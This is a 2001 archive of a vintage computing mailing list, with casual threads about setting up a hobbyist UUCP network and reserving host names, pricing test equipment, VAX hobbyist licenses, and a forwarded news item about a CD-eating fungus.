In-Reply-To: from Bill Gunshannon at "Jun 18, 1 09:50:46 am" Message-ID: <200106181437.HAA09456@stockholm.ptloma.edu> > > Will uucico behave nicely if connected to inetd? (I want it to run through > > my custom TCP wrappers so that every script kiddie out there doesn't say, > > "ooo! open port!"). > > Yes, but that's one of the advantages. Open port to what?? I would be > against running anonymous UUCP. Actually, I really prefer services, even authenticated ones, to only accept requests from authorized IP ranges (except Gopher, HTTP and mail). -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- TRUE HEADLINE: Police To Begin Campaign To Run Down Jaywalkers ------------- From jim at calico.litterbox.com Mon Jun 18 09:41:53 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews In-Reply-To: from "Brian Chase" at Jun 18, 2001 09:15:43 AM Message-ID: <200106181441.IAA09447@calico.litterbox.com> *chuckle* I'm reminded of the User Friendly cartoon titled "if the net was an amusement park ride". The sign read "You must be atleast this smart to use the net" The arrow was between mollusks and baboons, with the ends of the scale being human and dirt. Don't we all wish it were so. > Yeah, maybe it should be like a ham radio license. You have to pass a > test before you're allowed access to it. > > -brian. > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From chris at mainecoon.com Mon Jun 18 09:49:44 2001 From: chris at mainecoon.com (Chris Kennedy) Date: Sun Feb 27 19:04:34 2005 Subject: Tektronix 454 scope - what's it worth? In-Reply-To: Message-ID: Russ Blakeman wrote: > Anyone have any ideas what a really good condition Tek 454 scope is worth on > the open market? I paid $203 about 18 months ago for one with probes, no cover and a fresh calibration -- on ePay no less... -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From spectre at stockholm.ptloma.edu Mon Jun 18 10:06:22 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:34 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: from Bill Gunshannon at "Jun 18, 1 10:17:07 am" Message-ID: <200106181506.IAA10278@stockholm.ptloma.edu> > > > Can you kindly reserve the name "mystica" in your UUCP map, which is > > > the name that my machines once used? > > > > Dibs on "stockholm" when I get this thing running. > > Especially if people are planning on using vintage machines and vintage > versions of UUCP, names need to be kept to 8 characters or less. At least > that's what I remember. Nuts. In that case, "floodgap" :-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Everything you think you know is wrong. -- Jack Chalker -------------------- From ncherry at home.com Mon Jun 18 10:24:55 2001 From: ncherry at home.com (Neil Cherry) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews References: <200106181437.HAA09456@stockholm.ptloma.edu> Message-ID: <3B2E1D47.211A03AA@home.com> Just did a google search and found 1 entry for my old cbnews entry (I think cbnews was the default entry in AT&T uucp files. I was still using my diane.uucp entry as my email address until 2 years ago. It seemed to be a good spam block but now they look for all sorts of things so I dropped it. If we try uucp may I suggest that we tunnel it over ssl or ssh. I think passwords were plain text (or they were sent encrypted but plain text). -- Linux Home Automation Neil Cherry ncherry@home.net http://members.home.net/ncherry (Text only) http://meltingpot.fortunecity.com/lightsey/52 (Graphics) http://linuxha.sourceforge.net/ (SourceForge) From mjsnodgr at rockwellcollins.com Mon Jun 18 10:15:30 2001 From: mjsnodgr at rockwellcollins.com (mjsnodgr@rockwellcollins.com) Date: Sun Feb 27 19:04:34 2005 Subject: VME connector name? Message-ID: Bill Pechter @classiccmp.org on 06/17/2001 10:31:07 PM Please respond to classiccmp@classiccmp.org Sent by: owner-classiccmp@classiccmp.org To: classiccmp@classiccmp.org cc: Subject: Re: VME connector name? > Someone once ('88) told me that > VME itself stood for "Versa-Module Eurocard". > I never knew if they were BSing me or not though. > > John A. I believe it's a fact. It's the old Versabus signals on Eurocard --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org ---------------------------------------------------------------------------------- Yup, check out the VMEbus FAQ on the story behind the name: http://www.ee.ualberta.ca/archive/vmefaq.html#vmename From jss at ou.edu Mon Jun 18 10:30:03 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews In-Reply-To: References: Message-ID: <992878202.3b2e1e7b0118a@email.ou.edu> Quoting Bill Gunshannon : > Maybe even get a paralel USENET running that will be more tightly > controlled Yeah, and we can call it 'USEfulNET'. I know it would never work, but consider what it would be like if we moved the entire list over to a newsgroup (or set, even, since we've got a bit of volume) in our parallel USEfulNET. It would certainly be spam-free, and hey, setting up a machine to be a part of the UUCP network would be a rite of passage. -- Jeffrey S. Sharp jss@ou.edu From allain at panix.com Mon Jun 18 10:51:47 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:34 2005 Subject: VAX Hobbyist licenses References: <200106151915.PAA00348@world.std.com> <200106152210.SAA22609@world.std.com> Message-ID: <00bb01c0f80f$67538aa0$21fe54a6@ibm23xhr06> > I'll have to try montagar.. I haven't, yet... I just got a nice eMail from them saying that they are aware of a problem with the new ID's and that the waiting should be about one more day for a fix. John A. From foo at siconic.com Mon Jun 18 10:30:36 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Bill Gunshannon wrote: > So what do we call ourselves?? USENET-II is already taken. :-) Why, USENET-Classic, of course :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From Lee.Davison at merlincommunications.com Mon Jun 18 11:38:25 2001 From: Lee.Davison at merlincommunications.com (Davison, Lee) Date: Sun Feb 27 19:04:34 2005 Subject: OSI schematics needed Message-ID: <707AA588EE28D311BCD50090276D7D0007A2A3@BUSH02> Hi Bill, The seller has already very generously sent me scans of them and is sending hard copies as well. Any chance of you posting them somewhere so those who are interested can grab them? Cheers, Lee. ---------------------------------------------------------------------------- ---- This email is intended only for the above named addressee(s). The information contained in this email may contain information which is confidential. The views expressed in this email are personal to the sender and do not in any way reflect the views of the company. If you have received this email and you are not a named addressee please delete it from your system and contact Merlin Communications International IT Department on +44 20 7344 5888. _____________________________________________________________________ This message has been checked for all known viruses by Star Internet delivered through the MessageLabs Virus Scanning Service. For further information visit http://www.star.net.uk/stats.asp or alternatively call 01285 884400. From jss at ou.edu Mon Jun 18 11:40:56 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:34 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106181506.IAA10278@stockholm.ptloma.edu> References: <200106181506.IAA10278@stockholm.ptloma.edu> Message-ID: <992882456.3b2e2f181ba98@email.ou.edu> > names need to be kept to 8 characters or less. subatomix --> lepton -- Jeffrey S. Sharp jss@ou.edu From cisin at xenosoft.com Mon Jun 18 11:44:18 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews In-Reply-To: <200106181441.IAA09447@calico.litterbox.com> Message-ID: > *chuckle* I'm reminded of the User Friendly cartoon titled > "if the net was an amusement park ride". The sign read > "You must be atleast this smart to use the net" The arrow was > between mollusks and baboons, with the ends of the scale being human > and dirt. Don't we all wish it were so. 1) which end was "human"? 2) where is AOL on the scale? From spectre at stockholm.ptloma.edu Mon Jun 18 12:30:17 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:34 2005 Subject: UUCP and Netnews In-Reply-To: from Sellam Ismail at "Jun 18, 1 08:30:36 am" Message-ID: <200106181730.KAA09236@stockholm.ptloma.edu> > > So what do we call ourselves?? USENET-II is already taken. :-) > > Why, USENET-Classic, of course :) USENET-0? -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- "I'd love to go out with you, but my tarantula is getting neutered." ------- From bills at adrenaline.com Mon Jun 18 13:05:31 2001 From: bills at adrenaline.com (Bill Sudbrink) Date: Sun Feb 27 19:04:34 2005 Subject: OSI schematics needed In-Reply-To: <707AA588EE28D311BCD50090276D7D0007A2A3@BUSH02> Message-ID: > The seller has already very generously sent > me scans of them and is sending hard copies > as well. > > Any chance of you posting them somewhere so > those who are interested can grab them? Ask and you shall receive: http://members.bellatlantic.net/~vze25qnw/ From rhblake at bigfoot.com Mon Jun 18 12:54:42 2001 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 19:04:34 2005 Subject: Tektronix 454 scope - what's it worth? In-Reply-To: Message-ID: I noticed one that was just the unit no cover probes or manual that closed a few days ago for over $200. Thanks. -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Chris Kennedy Sent: Monday, June 18, 2001 9:50 AM To: classiccmp@classiccmp.org Subject: RE: Tektronix 454 scope - what's it worth? Russ Blakeman wrote: > Anyone have any ideas what a really good condition Tek 454 scope is worth on > the open market? I paid $203 about 18 months ago for one with probes, no cover and a fresh calibration -- on ePay no less... -- Chris Kennedy chris@mainecoon.com http://www.mainecoon.com PGP fingerprint: 4E99 10B6 7253 B048 6685 6CBC 55E1 20A3 108D AB97 From ard at p850ug1.demon.co.uk Mon Jun 18 12:52:42 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:34 2005 Subject: HH Tiger In-Reply-To: from "John Honniball" at Jun 18, 1 02:14:46 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1399 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010618/e1ef5e5d/attachment.ksh From fernande at internet1.net Mon Jun 18 13:08:54 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:04:35 2005 Subject: Anybody need an R400X DSSI expansion chassis? Message-ID: <3B2E43B6.62090798@internet1.net> I bought on on Ebay, and since the guy is moving he gave me a second. Unfortunetly there are no drives or sleds.... they do use a sled right? They are still in the back of my truck, and may get wet if it rains, since I don't have a hand truck to get them up the stairs. They are in heavy cardboard boxes, although I don't know if it would survive shipping. I am in Battle Creek, Michigan right off of I-94 if someone would like to pick up the second one. Chad Fernandez Michigan, USA From ard at p850ug1.demon.co.uk Mon Jun 18 13:14:47 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:35 2005 Subject: Digalog computer?? was Re: VME connector name? In-Reply-To: <5.1.0.14.1.20010618065423.01d4e790@mailhost.intellistar.net> from "joe" at Jun 18, 1 07:03:26 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1115 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010618/7c18de4f/attachment.ksh From epgroot at ucdavis.edu Mon Jun 18 13:23:57 2001 From: epgroot at ucdavis.edu (Edwin P. Groot) Date: Sun Feb 27 19:04:35 2005 Subject: Wave of the Future In-Reply-To: Message-ID: <3.0.5.32.20010618112357.007bb270@yellow.ucdavis.edu> What is this crap? A robot fishing for active email addresses? Edwin At 01:13 AM 6/17/2001 PM, you wrote: > >We will put your product or service instantly into the hands of millions of prospects! > >Under Bill s.1618 TITLE III passed by the 105th U.S. Congress this letter is not >considered "spam" as long as we include: 1) contact information and, 2) the way to be >removed from future mailings (see below). To Remove Yourself From This List: Please >email to jk72jk72@yahoo.com with the email address that you would like removed and >the word REMOVE in the subject heading. From dhquebbeman at theestopinalgroup.com Mon Jun 18 13:40:47 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:35 2005 Subject: VUNIC/VUnet Update Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511AD@jeffserver.tegjeff.com> > In the meantime, I'm reserving names on a > first-come-first-served basis. I'd like to reserve two: Shadow and Substance Hopefully they're not gone already! -dq From dhquebbeman at theestopinalgroup.com Mon Jun 18 13:46:25 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:35 2005 Subject: Announcing VUNIC/VUnet Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511AE@jeffserver.tegjeff.com> > > Please give me "lepton". I've never even *used* UUCP before, but > > darnit, this will be fun and educational. > > I think there's a lot of us in this boat, who could benefit from the > experience and fun of going "forward into the past" (tm, Firesign > Theatre). Help appreciated (tip of the hat to Frank who has been trying > to get me started). Classic computist *and* firehead... now, how do I send this message, ah, perhaps it's this little chromium switch here -dq From witchy at vorbis.demon.co.uk Mon Jun 18 13:57:20 2001 From: witchy at vorbis.demon.co.uk (Adrian Graham) Date: Sun Feb 27 19:04:35 2005 Subject: Research Machines Nimbus PC1 In-Reply-To: <200106172136.QAA46001@opal.tseinc.com> Message-ID: Hi Folks, I gather nobody's interested in saving one of these pretty smart 80186 based machines? I certainly haven't got room for 3 of 'em...... cheers adrian/witchy www.binarydinosaurs.co.uk - the Online Computer Museum 0:OK, 0:1 From dhquebbeman at theestopinalgroup.com Mon Jun 18 14:01:57 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:04:35 2005 Subject: Interest in UUCP? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD371511AF@jeffserver.tegjeff.com> > Douglas Quebbeman skrev: > > >> Since most vintage machines can't run TCP/IP but CAN run uucp, would > >> there be any interest in a dialup uucp node for retrieving email, files, > >> etc specifically geared toward vintage machines? > > >I've been thnking of this in a bit wider context. > > >With some of the changes happening on the Internet, it's > >not quite as friendly as it used to be. An alternative > >network seems like a good solution, and uucp as been > >with us for a long time. We could even host rogue USENET > >newsgroups. > > IMO it's the opposite. Everyone's so friendly they've got molasses running out > of their arses. What the net would need would be some good olf-fashioned > intolerance. There's a Star Trek:NG episode where Picard meets a Captain of another ship from a civilization where no one speaks in specifics, but in metaphor. I felt very at-home with these fictional aliens, as I tend to speak in metaphor as well. Having said that, I meant friendly in what must have been a less-than- apparant fashion. It's unfriendly in that too much traffic is channeled through supernodes whose stability is questionable. It's unfriendly in that you never know when a portal is going to suddenyl start sending you cookies or snooping up your wazoo with clear gifs, and while all this huge volume of web surfing and streaming-audio-and-video clogs up the Net, it makes it damned near impossible to get e-mail and news feeds through. But yeah, a dose of intolerance can be healthy; I always think of Peter Finch in "Network": "I'm mad as hell, and I'm not gonna take it anymore!" -dq From mmcfadden at cmh.edu Mon Jun 18 14:21:22 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:35 2005 Subject: Intergraph 2430 video output format Message-ID: A google search came up with the following. This may have some of the information you need about 13w3 and Intergraph workstations. http://www.monitorworld.com/Cables/13w3_page.html http://www.monitorworld.com/Cables/video_standards.html#13W3INTERGRAPH Article about clipper based Intergraph workstations http://www.sunhelp.org/pipermail/rescue/2000-February/003424.html Mike mmcfadden@cmh.edu From foo at siconic.com Mon Jun 18 13:27:14 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:35 2005 Subject: UUCP and Netnews In-Reply-To: <992878202.3b2e1e7b0118a@email.ou.edu> Message-ID: On Mon, 18 Jun 2001, Jeffrey S. Sharp wrote: > I know it would never work, but consider what it would be like if we > moved the entire list over to a newsgroup (or set, even, since we've > got a bit of volume) in our parallel USEfulNET. It would certainly be > spam-free, and hey, setting up a machine to be a part of the UUCP > network would be a rite of passage. That's actually a very cool idea :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Mon Jun 18 13:29:54 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:35 2005 Subject: UUCP and Netnews In-Reply-To: <200106181730.KAA09236@stockholm.ptloma.edu> Message-ID: On Mon, 18 Jun 2001, Cameron Kaiser wrote: > > > So what do we call ourselves?? USENET-II is already taken. :-) > > > > Why, USENET-Classic, of course :) > > USENET-0? Since it's going to be an obscure network running on old hardware we could call it RECLUSENET. (har har) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From ethan_dicks at yahoo.com Mon Jun 18 14:44:35 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:35 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371511AE@jeffserver.tegjeff.com> Message-ID: <20010618194435.29508.qmail@web9501.mail.yahoo.com> --- Douglas Quebbeman wrote: > > I think there's a lot of...going "forward into the past" (tm, Firesign > > Theatre). > > Classic computist *and* firehead... now, how do I send this message, > ah, perhaps it's this little chromium switch here ?UNHAPPY MACNAM -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Spot the hottest trends in music, movies, and more. http://buzz.yahoo.com/ From bdc at world.std.com Mon Jun 18 14:53:52 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:35 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106181506.IAA10278@stockholm.ptloma.edu> Message-ID: On Mon, 18 Jun 2001, Cameron Kaiser wrote: > > Especially if people are planning on using vintage machines and vintage > > versions of UUCP, names need to be kept to 8 characters or less. At least > > that's what I remember. > > Nuts. In that case, "floodgap" :-) If I patented a function that returned the set of all 8 character or fewer strings, would you all have to pay royalties to me? -brian. From jss at ou.edu Mon Jun 18 15:28:27 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:35 2005 Subject: UUCP and Netnews In-Reply-To: References: Message-ID: <992896107.3b2e646b6e72e@email.ou.edu> Quoting Sellam Ismail : > On Mon, 18 Jun 2001, Jeffrey S. Sharp wrote: > > > > I know it would never work, but consider what it would be like if we > > moved the entire list over to a newsgroup (or set, even, since we've > > got a bit of volume) in our parallel USEfulNET. It would certainly be > > spam-free, and hey, setting up a machine to be a part of the UUCP > > network would be a rite of passage. > > That's actually a very cool idea :) Thanks! If someone actually began such a thing, I would follow. -- Jeffrey S. Sharp jss@ou.edu From foo at siconic.com Mon Jun 18 14:38:18 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:35 2005 Subject: Interest in UUCP? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD371511AF@jeffserver.tegjeff.com> Message-ID: On Mon, 18 Jun 2001, Douglas Quebbeman wrote: > There's a Star Trek:NG episode where Picard meets a Captain of another > ship from a civilization where no one speaks in specifics, but in > metaphor. I felt very at-home with these fictional aliens, as I tend > to speak in metaphor as well. "Darmok". One of my favorite (if not most favorite) STTNG episodes. Here's a review: http://www.ugcs.caltech.edu/st-tng/episodes/202.html > But yeah, a dose of intolerance can be healthy; I always think of > Peter Finch in "Network": "I'm mad as hell, and I'm not gonna take it > anymore!" The problem is you need a critical mass of that sort of attitude to make anything happen :( Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From foo at siconic.com Mon Jun 18 14:39:09 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:35 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: Message-ID: On Mon, 18 Jun 2001, Brian Chase wrote: > If I patented a function that returned the set of all 8 character or > fewer strings, would you all have to pay royalties to me? Sure, my royalty payment will come in a ticking box :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From jhellige at earthlink.net Mon Jun 18 15:45:02 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:35 2005 Subject: VAX Hobbyist licenses In-Reply-To: <00bb01c0f80f$67538aa0$21fe54a6@ibm23xhr06> References: <200106151915.PAA00348@world.std.com> <200106152210.SAA22609@world.std.com> <00bb01c0f80f$67538aa0$21fe54a6@ibm23xhr06> Message-ID: > > I'll have to try montagar.. I haven't, yet... > >I just got a nice eMail from them saying that they >are aware of a problem with the new ID's and that >the waiting should be about one more day for a fix. Yes, I just got a similar email myself stating that they should now have the problems worked out. I've not tried it again though. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From spectre at stockholm.ptloma.edu Mon Jun 18 15:54:46 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:35 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: from Brian Chase at "Jun 18, 1 02:53:52 pm" Message-ID: <200106182054.NAA12432@stockholm.ptloma.edu> > > > Especially if people are planning on using vintage machines and vintage > > > versions of UUCP, names need to be kept to 8 characters or less. At least > > > that's what I remember. > > > > Nuts. In that case, "floodgap" :-) > > If I patented a function that returned the set of all 8 character or fewer > strings, would you all have to pay royalties to me? Only if you generated the one I was going to take before I did. ;-) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- The older a man gets, the farther he had to walk to school as a boy. ------- From spectre at stockholm.ptloma.edu Mon Jun 18 15:57:33 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:35 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <20010618194435.29508.qmail@web9501.mail.yahoo.com> from Ethan Dicks at "Jun 18, 1 12:44:35 pm" Message-ID: <200106182057.NAA11206@stockholm.ptloma.edu> > > > I think there's a lot of...going "forward into the past" (tm, Firesign > > > Theatre). > > > > Classic computist *and* firehead... now, how do I send this message, > > ah, perhaps it's this little chromium switch here > > ?UNHAPPY MACNAM Hey, man, you broke the President! (Hey, Pablo? He broke the President!) -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- How can you be in two places at once when you're not anywhere at all? -- F.T. From bdc at world.std.com Mon Jun 18 16:13:12 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:35 2005 Subject: Transputer on eBay. Message-ID: Well, it's an eBay auction. I'm experimenting with selling items there for once. The reserve is $50, but given that I spent twice as much on it a few years ago, I don't feel too guilty trying to get that out of it. Besides, baby needs a new VAX. It's a nice kit which I never got around to using myself. It's pretty little T425 w/1MB RAM with MS-DOS based cross-compilers for Occam 2, C, and all the docs. It's also one of the first 100 of these kits made by CSA (SN# A00096)--if that holds any significant value for anyone. This one is unusual enough that I think it merits mentioning it here. Hopefully I won't get flamed too badly. -brian. From bdc at world.std.com Mon Jun 18 16:15:50 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:35 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106182054.NAA12432@stockholm.ptloma.edu> Message-ID: On Mon, 18 Jun 2001, Cameron Kaiser wrote: > > If I patented a function that returned the set of all 8 character or fewer > > strings, would you all have to pay royalties to me? > > Only if you generated the one I was going to take before I did. ;-) Gee, since when in recent years has "prior art" precluded someone suing you over intellectual property rights or copyright infringement? ;-) -brian. From rmeenaks at olf.com Mon Jun 18 16:33:08 2001 From: rmeenaks at olf.com (Ram Meenakshisundaram) Date: Sun Feb 27 19:04:35 2005 Subject: Transputer on eBay. References: Message-ID: <3B2E7394.FDC7056A@olf.com> Hi Brian, If you can, can you zip up the disk and email it over to me? This is in regards to the Express 3.0 Demo disk.... Thanks, Ram Brian Chase wrote: > Well, it's an eBay auction. I'm experimenting with selling items there > for once. The reserve is $50, but given that I spent twice as much on it > a few years ago, I don't feel too guilty trying to get that out of it. > Besides, baby needs a new VAX. > > It's a nice kit which I never got around to using myself. It's pretty > little T425 w/1MB RAM with MS-DOS based cross-compilers for Occam 2, C, > and all the docs. It's also one of the first 100 of these kits made by > CSA (SN# A00096)--if that holds any significant value for anyone. > > This one is unusual enough that I think it merits mentioning it here. > Hopefully I won't get flamed too badly. > > -brian. -- ,,,, /'^'\ ( o o ) -oOOO--(_)--OOOo------------------------------------- | Ram Meenakshisundaram | | Senior Software Engineer | | OpenLink Financial Inc | | .oooO Phone: (516) 227-6600 x267 | | ( ) Oooo. Email: rmeenaks@olf.com | ---\ (----( )-------------------------------------- \_) ) / (_/ From bdc at world.std.com Mon Jun 18 16:49:55 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:35 2005 Subject: Transputer on eBay. In-Reply-To: <3B2E7394.FDC7056A@olf.com> Message-ID: On Mon, 18 Jun 2001, Ram Meenakshisundaram wrote: > Hi Brian, > > If you can, can you zip up the disk and email it over to me? > This is in regards to the Express 3.0 Demo disk.... > > Thanks, > > Ram Yeah, since they're just demos I don't think there'll be too much concern over licensing (that and it's been more than 10 years since these transputer kits were first offered.) I'll have to dig out an old PC and try to find a 5.25 drive. I know I have a system somewhere that I used for the purpose of running PUTR. My PCs have all been crammed away into the dark and cramped corners of my collection as I acquire more interesting systems. -brian. From dogas at bellsouth.net Mon Jun 18 16:50:18 2001 From: dogas at bellsouth.net (Mike) Date: Sun Feb 27 19:04:35 2005 Subject: looking for article from DDJ #68, June '82 References: Message-ID: <002101c0f840$aad93190$e462d6d1@DOMAIN> Been looking through #69 (thanks Paul!) and Part II of 'PDP-1802' by Chris Hamlin, a cosmac pdp8 emulator... cool! Can somone copy Part 1 for me? Thanks! - Mike: dogas@bellsouth.net From pechter at bg-tc-ppp1235.monmouth.com Mon Jun 18 19:41:09 2001 From: pechter at bg-tc-ppp1235.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:35 2005 Subject: Announcing VUNIC/VUnet In-Reply-To: <200106182057.NAA11206@stockholm.ptloma.edu> from Cameron Kaiser at "Jun 18, 2001 01:57:33 pm" Message-ID: <200106190042.f5J0gfj00725@bg-tc-ppp1235.monmouth.com> > > > > I think there's a lot of...going "forward into the past" (tm, Firesign > > > > Theatre). > > > > > > Classic computist *and* firehead... now, how do I send this message, > > > ah, perhaps it's this little chromium switch here > > > > ?UNHAPPY MACNAM > > Hey, man, you broke the President! (Hey, Pablo? He broke the President!) > Perhaps the password should be "Read Me Doctor Memory..." Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From marvin at rain.org Mon Jun 18 19:45:27 2001 From: marvin at rain.org (Marvin) Date: Sun Feb 27 19:04:35 2005 Subject: CD Eating Fungus? References: <002101c0f840$aad93190$e462d6d1@DOMAIN> Message-ID: <3B2EA0A7.D4B7E21F@rain.org> A friend of mine sent this to me, but I don't know if it is valid or a hoax. ******************* Victor Cardenes, of Spain's leading scientific research body, stumbled across the microscopic creature two years ago, while visiting Belize. Friends complained that in the hot and sticky Central American climate, a CD had stopped working and had developed an odd discoloration that left parts of it virtually transparent. Dr Cardenes and colleagues at the Superior Council for Scientific Research in Madrid discovered a fungus was steadily eating through the supposedly indestructible disc. The fungus had burrowed into the CD from the outer edge, then devoured the thin aluminium layer and some of the data-storing polycarbonate resin. Dr Cardenes said: "It completely destroys the aluminium. It leaves nothing behind." Biologists at the council had never seen this fungus, but concluded that it belonged to a common genus called geotrichum. Philips, the Dutch electronics company that invented the compact disc, said it believed the Belize case was probably a freak incident caused by extreme weather conditions. From pechter at bg-tc-ppp1235.monmouth.com Mon Jun 18 19:46:09 2001 From: pechter at bg-tc-ppp1235.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:35 2005 Subject: Interest in UUCP? In-Reply-To: from Bill Gunshannon at "Jun 18, 2001 08:57:00 am" Message-ID: <200106190047.f5J0ldA00954@bg-tc-ppp1235.monmouth.com> > Is anyone still maintaining UUCP maps?? Hmmm. I wonder what flows in > that newsgroup nowdays?? > > bill > > -- > Bill Gunshannon | de-moc-ra-cy (di mok' ra see) n. Three wolves > bill@cs.scranton.edu | and a sheep voting on what's for dinner. > University of Scranton | > Scranton, Pennsylvania | #include They killed the mapping project about 5 years back (or was it 7). Damned shame... Time to do it right. Gonna have to find the map parsing stuff... and give it a go. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From healyzh at aracnet.com Mon Jun 18 19:55:18 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:35 2005 Subject: CD Eating Fungus? In-Reply-To: <3B2EA0A7.D4B7E21F@rain.org> from "Marvin" at Jun 18, 2001 05:45:27 PM Message-ID: <200106190055.f5J0tIq17491@shell1.aracnet.com> > A friend of mine sent this to me, but I don't know if it is valid or a hoax. It showed up on Slashdot today with a pointer to the following article: http://www.telegraph.co.uk/et?ac=001851641145319&rtmo=lzFklAlt&atmo=rrrrrrrq&pg=/et/01/6/18/wfung18.html Zane From vaxcat at retrocomputing.com Mon Jun 18 20:15:05 2001 From: vaxcat at retrocomputing.com (Anthony Clifton - Retrocomputing.com) Date: Sun Feb 27 19:04:35 2005 Subject: Today's Exciting Acquisition & Microvax 3100 Question In-Reply-To: <002c01c0f79f$0e17b7b0$0100a8c0@jack> References: <200106170023.f5H0Nrg74251@bg-tc-ppp1633.monmouth.com> Message-ID: I mentioned last week about having a conversation about collecting old computers and a kid I hired said he'd give me a computer. It turns out to be a MicroVax 3100/30 with the scsi expansion box. Now my question is this: I have a SCSI cd-rom drive (actually it's a CD-R/RW drive but it won't record anymore but will playback) that I got at work. (BTW, never buy Lacie stuff. Junk and they don't carry parts for them. What a bunch of losers.) At any rate, can I simply connect that drive to the machine and use it to load things off cd? Or do I need a specifically DEC drive? Thanks! Anthony Clifton From rdd at 